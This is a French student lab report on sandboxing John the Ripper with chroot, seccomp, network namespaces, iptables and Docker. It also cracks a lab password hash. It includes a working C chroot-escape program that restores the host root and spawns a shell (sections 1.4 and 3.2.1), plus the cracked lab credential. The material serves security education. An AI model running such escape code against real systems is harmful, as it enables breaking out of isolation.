

Confiner JtR

Linux

Labo 1

SOS

Kevin **Auberson**
Dani Tiago **Faria dos Santos**
Jonathan **Thiébaud**

HEIG-VD, 2025

1 Chroot

1.1 Contenu du fichier heigvd.hash

```
# Hash
$6$sRTLcUeE7GjLMQJm$ENy72v/H3xgc7.aLTqAaRSQ9.iQEp5uYYu4Uvy0iqt.iycBAyxZD
XrmXY25CrpDQPZbOt6Xr7l95BSx/Xd6Z.
```

1.2 Identifiez tous les fichiers nécessaires pour exécuter correctement le programme john, isolez le tout à l'aide de chroot et lancez le programme.

Jtr est exécuté en tant que .elf, il lui faut donc les fichiers binaires '/usr/bin/john'.

On a aussi besoin suivant comment des fichier de hash, règles et wordlists pour la résolution du mot de passe.

Ses dépendances sont les suivantes :

```
sos@Ubuntu:~/labos/labo1$ ldd /home/sos/Tools/john/run/john
linux-vdso.so.1 (0x000070a18fecc000)
libcrypto.so.3 => /lib/x86_64-linux-gnu/libcrypto.so.3 (0x000070a18ec00000)
libgmp.so.10 => /lib/x86_64-linux-gnu/libgmp.so.10 (0x000070a18fe2e000)
libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x000070a18f117000)
libz.so.1 => /lib/x86_64-linux-gnu/libz.so.1 (0x000070a18fe12000)
libcrypt.so.1 => /lib/x86_64-linux-gnu/libcrypt.so.1 (0x000070a18fdd8000)
libbz2.so.1.0 => /lib/x86_64-linux-gnu/libbz2.so.1.0 (0x000070a18fdc2000)
libgomp.so.1 => /lib/x86_64-linux-gnu/libgomp.so.1 (0x000070a18fd6c000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x000070a18e800000)
/lib64/ld-linux-x86-64.so.2 (0x000070a18fece000)
```

Il faut donc copier les objets suivants pour faire en sorte que Jtr fonctionne correctement dans chroot :

Binaire principal

```
- `/home/sos/bin/john`
- `/home/sos/Tools/john/run/john`
```

Librairies dynamiques

```
- `/lib/x86_64-linux-gnu/libbz2.so.1.0`
- `/lib/x86_64-linux-gnu/libcrypto.so.3`
- `/lib/x86_64-linux-gnu/libcrypt.so.1`
```

```
- `/lib/x86_64-linux-gnu/libc.so.6`
- `/lib/x86_64-linux-gnu/libgmp.so.10`
- `/lib/x86_64-linux-gnu/libgomp.so.1`
- `/lib/x86_64-linux-gnu/libm.so.6`
- `/lib/x86_64-linux-gnu/libtinfo.so.6`
- `/lib/x86_64-linux-gnu/libz.so.1`
```

Chargeur dynamique

```
`/lib64/ld-linux-x86-64.so.2`
```

Configuration système minimale

```
- `/etc/ld.so.cache` : cache des bibliothèques dynamiques
- `/etc/ld.so.preload` : pas besoin de copier (ENOENT)
- `/etc/localtime` : heure correcte
```

Ajouter manuellement

```
- `/etc/passwd`, `/etc/group` : versions minimales pour éviter des erreurs getpwuid
- `/etc/nsswitch.conf` : dit à la libc de chercher utilisateurs/groupe dans "files"
```

Locales et encodage

```
# Afin d'éviter les messages d'erreur de `glibc` liés aux locales, sinon jtr va fonctionner avec des warning.
- `/usr/lib/locale/locale-archive`
- `/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache`
```

Devices

```
`/dev/null`, `/dev/zero`, `/dev/urandom`, `/dev/tty`
```

Chemins qu'on ne copie pas

```
`"."`, `"/"`, `"john"`, `"--list=help"`, `"+%s"`,
```

```
# appels à `date`, inutile
```

```
`/home/jeb/bin/date`, `/home/sos/bin/date`, `/usr/bin/date`, `/usr/local/bin/date`, `/usr/local/sbin/date`, `/usr/sbin/date`
```

```
# on ne peut pas copier sys (mount interdit)
```

```
`/sys/devices/system/cpu/possible`
```

1.3 Donnez les commandes pour la création et l'exécution du container chroot. (copier les ressources nécessaires, mount interdit !) (9 pts)

CHROOT=/srv/chroot/johnroot

créer /etc/john dans le chroot et y copier la config

```
if [ -d /etc/john ]; then
  mkdir -p "$CHROOT/etc/john"
  cp -av /etc/john/* "$CHROOT/etc/john/" || true
fi
```

copier ressources john (charset, messages, etc.) dans le chroot

```
if [ -d /usr/share/john ]; then
  mkdir -p "$CHROOT/usr/share/john"
  cp -av /usr/share/john/* "$CHROOT/usr/share/john/" || true
fi
```

créer /root/.john DANS le chroot si besoin

```
mkdir -p "$CHROOT/root/.john"
chown 0:0 "$CHROOT/root"
chmod 0700 "$CHROOT/root"
```

vérifier la présence du binaire john dans le chroot

```
if [ ! -x "$CHROOT$(which john)" ]; then
  # Si which john retourne /usr/sbin/john, on construit le chemin et teste
  echo "Vérification: l'exécutable john devrait être présent sous $CHROOT$(which john)"
fi
```

lancer john dans le chroot

```
JOHN_IN_CHROOT="/usr/sbin/john"
chroot "$CHROOT" "$JOHN_IN_CHROOT" --users=heigvd --rules /home/heigvd/hashe.txt
```

1.4 Vous apprenez que chroot n'est pas une commande sûre et qu'il est possible de sortir du container. Démontrez un exemple de programme capable de sortir d'un chroot, autre que celui vu en cours. (3 pts)

chroot n'est pas une isolation sécurisée comme un conteneur Docker ou une VM. Si le processus tournant dans le chroot est root, on peut exploiter certaines failles pour sortir du chroot et accéder au vrai système.

Comme par exemple utiliser fchdir et chroot via un descripteur de fichier.

Code C pour démontrer comment s'échapper d'un chroot

```
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>

int main(int argc, char *argv[]) {
    int fd;
    const char *jail;

    if (argc > 1) jail = argv[1];
    else {
        fprintf(stderr, "usage: %s <path-to-jail>\n", argv[0]);
        return 1;
    }

    /* Ouvrir la racine réelle avant le chroot */
    fd = open("/", O_RDONLY | O_DIRECTORY);
    printf("opened / fd=%d\n", fd);

    /* Chroot vers le jail */
    chroot(jail);
    printf("chroot(\"%s\") ok\n", jail);

    /* revenir vers la vraie racine via fd */
    fchdir(fd);
    printf("fchdir(fd) ok\n");

    /* rétablir la vraie racine */
    chroot(".");
    printf("process root restored to /\n");

    close(fd);

    /* lancer un shell pour démo */
    execl("/bin/sh", "sh", "-i", NULL);
    perror("execl /bin/sh");
    return 1;
}
```

1.5 Questions

1.5.1 Quelle est la faiblesse de chroot qui permet de s'en évader ? (2 pts)

Chroot n'isole que le système de fichiers, il redéfinit la racine logique pour la résolution des chemins, mais ne modifie ni les descripteurs déjà ouverts, ni les privilèges du processus, ni les pipelines.

Un processus ayant les privilèges suffisants (root ou CAP_SYS_CHROOT) et un descripteur ouvert vers la vraie racine peut faire `fchdir(fd)` puis `chroot(".")` pour restaurer l'arborescence hôte et s'en échapper comme vu en cours.

Pour ces raisons chroot n'est absolument pas une mesure de sécurité fiable, les conteneurs sécurisés s'appuient sur les namespaces, les cgroups, etc., et pas seulement sur chroot. Chroot reste cependant utile pour faire des tests.

2 Syscall

2.1 Identifiez l'appel système (syscall) indispensable dont vous avez besoin pour sortir d'un chroot avec votre méthode. (3 pts)

`fchdir(2)`, avec ça on peut changer le répertoire courant vers l'emplacement extérieur pointé par `fd`. `chroot(".")` est nécessaire ensuite pour fixer ce répertoire comme nouvelle racine.

2.2 Lister tous les appels systèmes du programme john et vérifier que celui-ci n'utilise pas ce syscall. Donnez la commande utilisée pour avoir cette information. (3 pts)

```
STRACE_OUT=/tmp/john.strace
sudo strace -ff -o "$STRACE_OUT" -s 200 /home/sos/Tools/john/run/john --help 2>/dev/null || true

# concaténer les fichiers produits par strace
cat ${STRACE_OUT}* > /tmp/john.strace.all

# extraire la liste unique des noms d'appels système observés
awk '{print $1}' /tmp/john.strace.all | cut -d'(' -f1 | sort -u > /tmp/john.syscalls.txt

echo "Quelques syscalls observés : "
head -n 50 /tmp/john.syscalls.txt
echo -n "fchdir présent ? : "; grep -w '^fchdir$' /tmp/john.syscalls.txt && echo "OUI" || echo "NON"
echo -n "chroot présent ? : "; grep -w '^chroot$' /tmp/john.syscalls.txt && echo "OUI" || echo "NON"

# affiche toutes les occurrences de fchdir/chroot dans le trace
grep -n -E 'fchdir|chroot' /tmp/john.strace.all || true
```

Output

```
+++
access
arch_prctl
brk
close
connect
execve
exit_group
fstat
getrandom
getuid
lseek
mkdir
```

```

mmap
mprotect
munmap
newfstatat
openat
pread64
prlimit64
read
rseq
sched_getaffinity
set_robust_list
set_tid_address
socket
times
write
fchdir présent : NON
chroot présent : NON

```

2.3 Questions

2.3.1 Quelle méthode pourrait-on utiliser pour bloquer uniquement le syscall dangereux ? Expliquez la démarche complète et donner le code et les commandes destinés à empêcher ce syscall explicitement.

Utiliser seccomp pour intercepter et bloquer explicitement le syscall.

1. Créer un filtre seccomp avec ALLOW par défaut.
2. Ajouter une règle pour interdire fchdir (action : renvoyer EACCES ou tuer le processus).
3. Charger le filtre avant d'exécuter le programme dangereux (john).

Code

```

#include <seccomp.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int main(int argc, char **argv){
    if(argc < 2){ fprintf(stderr, "Usage: %s <program>\n", argv[0]); return 1; }
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
    seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EACCES), SCMP_SYS(fchdir), 0);
    seccomp_load(ctx);
    execvp(argv[1], &argv[1]);
    perror("execvp");
    return 1;
}

```

Analyse

```

sos@Ubuntu:~/labos/lab01$ sudo rm -f /tmp/trace*
sos@Ubuntu:~/labos/lab01$ sudo strace -ff -s 200 -o /tmp/trace ./deny_fchdir /usr/sbin/john --help 2>/dev/null || true
sos@Ubuntu:~/labos/lab01$ cat /tmp/trace* | grep fchdir || echo "aucune occurrence de fchdir trouvée"
execve("./deny_fchdir", ["/deny_fchdir", "/usr/sbin/john", "--help"], 0x7fffd7f859b8 /* 17 vars */) = 0
sos@Ubuntu:~/labos/lab01$

```

3 Sandbox

3.1 Empêcher le container chroot d'avoir accès au réseau, sans perturber le système hôte, de manière à ne pas pouvoir télécharger et exécuter de code supplémentaire. Vérifiez que votre solution bloque bien l'accès réseau en faisant un test. (3 pts) (attention au nom de la machine dans /etc/hosts)

Tout d'abord on copie le fichier hosts pour éviter les erreurs liées au nom d'hôte (jeb-VMware-Virtual-Platform) lorsque des programmes sont exécutés à l'intérieur du chroot.

```
sos@Ubuntu:~$ sudo mkdir -p /srv/chroot/johnroot/etc
sudo cp /etc/hosts /srv/chroot/johnroot/etc/hosts
sos@Ubuntu:~$ cat /srv/chroot/johnroot/etc/hosts
127.0.0.1 localhost
127.0.1.1 jeb-VMware-Virtual-Platform
```

```
# The following lines are desirable for IPv6 capable hosts
::1    ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
```

Puis on ajoute ping dans notre chroot pour tester si la connexion est bien bloquée.

```
sos@Ubuntu:~$ sudo ip netns add johnns
sudo ip netns exec johnns ip link set lo up
sos@Ubuntu:~$ sudo cp --parents /bin/ping /srv/chroot/johnroot
ldd /bin/ping | awk '/= > / {print $3}' | grep '^/' | sudo xargs -I{} cp --parents {} /srv/chroot/johnroot
```

Et on a la confirmation.

```
sos@Ubuntu:~$ sudo ip netns exec johnns chroot /srv/chroot/johnroot ping -c 1 8.8.8.8
ping: connect: Network is unreachable
#Depuis notre machine sans passer par chroot
sos@Ubuntu:~$ ping -c 1 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=9.42 ms
...
```

Ou bien avec unshare

```
sudo unshare -n -- bash -c '/usr/sbin/ip link set lo up 2>/dev/null; exec chroot /home/sos/jail-john /bin/bash'
```

Cette commande exécute le chroot dans un nouveau network namespace vide qui est complètement isolé du réseau système. Le chroot n'a ni interface réseau ni routes, ni outils (ip, ping, wget) et pas d'accès possible au niveau noyau (avec unshare -n).

Preuve de l'isolation

```
bash-5.2# ip addr show
bash: ip: command not found
bash-5.2# cat /proc/net/dev
cat: /proc/net/dev: No such file or directory
bash-5.2# ping -c 1 8.8.8.8
bash: ping: command not found
```

3.2 Autoriser le container chroot à avoir accès à internet, sans perturber le système hôte, et de manière à ne pas pouvoir télécharger des hashes et des scripts supplémentaires que depuis le site <https://heig-vd.ch>. Vérifiez que votre solution ne bloquera pas ce téléchargement alors qu'il bloque bien les autres accès réseau en faisant un test. (6 pts) (indice : vous pouvez utiliser l'outil dhclient du package isc-dhcp-server pour connecter votre container à internet et vous pouvez configurer / etc/hosts pour ne pas avoir à utiliser un DNS externe)

On a commencer par isoler le réseau avec un nouveau namespace et un lien virtuel veth

```
sudo ip netns add chrootns
sudo ip link add veth-host type veth peer name veth-chroot
sudo ip link set veth-chroot netns chrootns

# Adresse hôte
sudo ip a
ddr add 192.168.250.1/24 dev veth-host
sudo ip link set veth-host up

# Adresse container (namespace)
sudo ip netns exec chrootns ip addr add 192.168.250.2/24 dev veth-chroot
sudo ip netns exec chrootns ip link set veth-chroot up
sudo ip netns exec chrootns ip link set lo up

# Routage vers l'hôte
sudo ip netns exec chrootns ip route add default via 192.168.250.1
```

Activer le forwarding pour que l'hôte puisse faire passer les informations réseau du namespace, puis mise en place d'une règle NAT vers l'interface réseau réelle (enp1s0)

```
sudo sysctl -w net.ipv4.ip_forward=1
```

```
# Ajouter la règle
```

```
sudo iptables -t nat -A POSTROUTING -s 192.168.250.0/24 -o enp1s0 -j MASQUERADE
```

```
# Autoriser le forward
```

```
sudo iptables -P FORWARD ACCEPT
```

Ensuite on ajoute l'adresse ip de heig-vd.ch dans le fichier /etc/hosts

```
193.134.223.20 heig-vd.ch
```

Et on doit encore filtrer les paquets sortants du namespace afin de n'autoriser que ceux qui sont à destination de heig-vd.ch

```
# Interdire tout le trafic par défaut
```

```
sudo ip netns exec chrootns iptables -P OUTPUT DROP
```

```
sudo ip netns exec chrootns iptables -P INPUT DROP
```

```
# Autoriser loopback
```

```
sudo ip netns exec chrootns iptables -A OUTPUT -o lo -j ACCEPT
```

```
sudo ip netns exec chrootns iptables -A INPUT -i lo -j ACCEPT
```

```
# Autoriser le trafic sortant que vers heig-vd.ch
```

```
sudo ip netns exec chrootns iptables -A OUTPUT -d 193.134.223.20 -p tcp --dport 443 -j ACCEPT
```

```
# Autoriser les paquets de retour qui correspondent
```

```
sudo ip netns exec chrootns iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
```

Lancement du container dans notre namespace

```
sudo ip netns exec chrootns chroot /home/sos/jail-john /bin/bash
```

```
sos@Ubuntu:/$ sudo ip netns exec chrootns chroot /home/sos/jail-john /bin/bas
h
bash-5.2# curl -v https://heig-vd.ch
* Host heig-vd.ch:443 was resolved.
* IPv6: (none)
* IPv4: 193.134.223.20
*   Trying 193.134.223.20:443...
* Connected to heig-vd.ch (193.134.223.20) port 443
* ALPN: curl offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
```

Mais si on curl sur google

```
bash-5.2# curl -v https://google.ch
* Could not resolve host: google.ch
* Closing connection
curl: (6) Could not resolve host: google.ch
bash-5.2# █
```

3.2.1 P3: Malgré ces protections, pensez-vous que le programme puisse quand-même sortir de son container ? Si oui, dans quelle circonstance ? Donnez un exemple ou une référence applicable (URL). (2 pts)

Oui, le programme peut sortir de son chroot si le processus est root et dispose d'un descripteur de fichier ouvert vers un répertoire extérieur.

Exemple :

```
fd = open("/", O_RDONLY); // ouvre un FD vers la racine
chroot("jail");           // entre dans le chroot
fchdir(fd);               // revient sur l'ancien cwd
chroot(".");               // définit la racine à l'extérieur --> sortie du chroot
```

4 Container

4.1 Vous décidez d'utiliser docker pour créer un container isolé sans accès réseau et capable d'exécuter le code (indice: utiliser l'image docker déjà téléchargée de https://hub.docker.com/r/phocean/john_the_ripper_jumbo). Donnez les commandes nécessaires pour la création du container, la sécurisation et l'exécution. Démontrez que votre solution bloque bien l'accès réseau en faisant un test. (5 pts)

On lance le container (une fois téléchargé) avec les commandes suivantes pour isoler le réseau comme demandé

```
docker run --rm -it \
  --network none \
  --cap-drop ALL \
  --security-opt no-new-privileges \
  --read-only \
  --tmpfs /tmp:rw,exec \
  --user 1000 \
  --name jtr_isolated \
  phocean/jtr_with_tools /bin/bash
```

Puis on teste dans le container :

```
I have no name!@77e0da1480bd:/jtr/run$ ping -c 1 8.8.8.8
connect: Network is unreachable
I have no name!@77e0da1480bd:/jtr/run$ curl -I https://heig-vd.ch
curl: (6) Could not resolve host: heig-vd.ch
```

4.1.1 Questions:

4.1.1.1 P4 :Charlie revient vers vous et vous annonce qu'il propose via docker un container mieux configuré que le vôtre. Pensez-vous que cela soit une bonne idée de l'utiliser ? Pourquoi ? (2 pts)

Non, il n'est pas conseillé d'utiliser un container proposé par Charlie sans que on vérifie ce qu'il a mis dedans. Même si Docker est moderne et isolé, le conteneur peut venir préconfiguré avec du code malveillant ou des backdoors intégrées par Charlie. On doit être sûr à 100% de l'origine de l'image source. Isolé ne signifie pas sécurisé.

4.1.1.2 P5: Vous apprenez que Bob est également un développeur très impliqué du programme john (que vous utilisez régulièrement). Si vous considérez Bob comme un adversaire, quelle proposition de sécurité supplémentaire pouvez-vous proposer ? (2 pts)

1. Isolation complète de John via chroot ou Docker
2. Vérification de l'intégrité des binaires : utiliser des checksums ou compiler John soi-même à partir des sources publiques pour être sûr que Bob nous a pas donné une version modifiée.
3. Limiter les privilèges : exécuter John avec un utilisateur non-root, sans accès réseau ni accès aux fichiers sensibles.

4.1.1.3 P6: Bob est également développeur du kernel Linux, notamment dans la gestion de la pile réseau. Quelle solution radicale pourriez-vous envisager afin de vous protéger contre toute attaque potentielle venant de Bob ? (1 pts)

Si Bob a la main dessus ça devient très compliquer a éviter des soucis sur la stack réseau, la seule solution que je verrais serait de virtualiser l'OS et utilisier un Kernel de source fiable ou fait par nous même.

5 John

5.1 Quel est le mot de passe du compte heigvd correspondant au hash ? (2 pts)

```
sos@Ubuntu:~$ john --rules --format=sha512crypt heigvd.hash
starting /home/sos/Tools/john/run/john --rules --format=sha512crypt heigvd.hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cracked 1 password hash (is in /home/sos/Tools/john/run/john.pot), use "--show"
No password hashes left to crack (see FAQ)
sos@Ubuntu:~$ john --show heigvd.hash
starting /home/sos/Tools/john/run/john --show heigvd.hash
heigvd:heigvd2021
```

```
1 password hash cracked, 0 left
sos@Ubuntu:~$
```

Le mot de passe est donc : 'heigvd2021'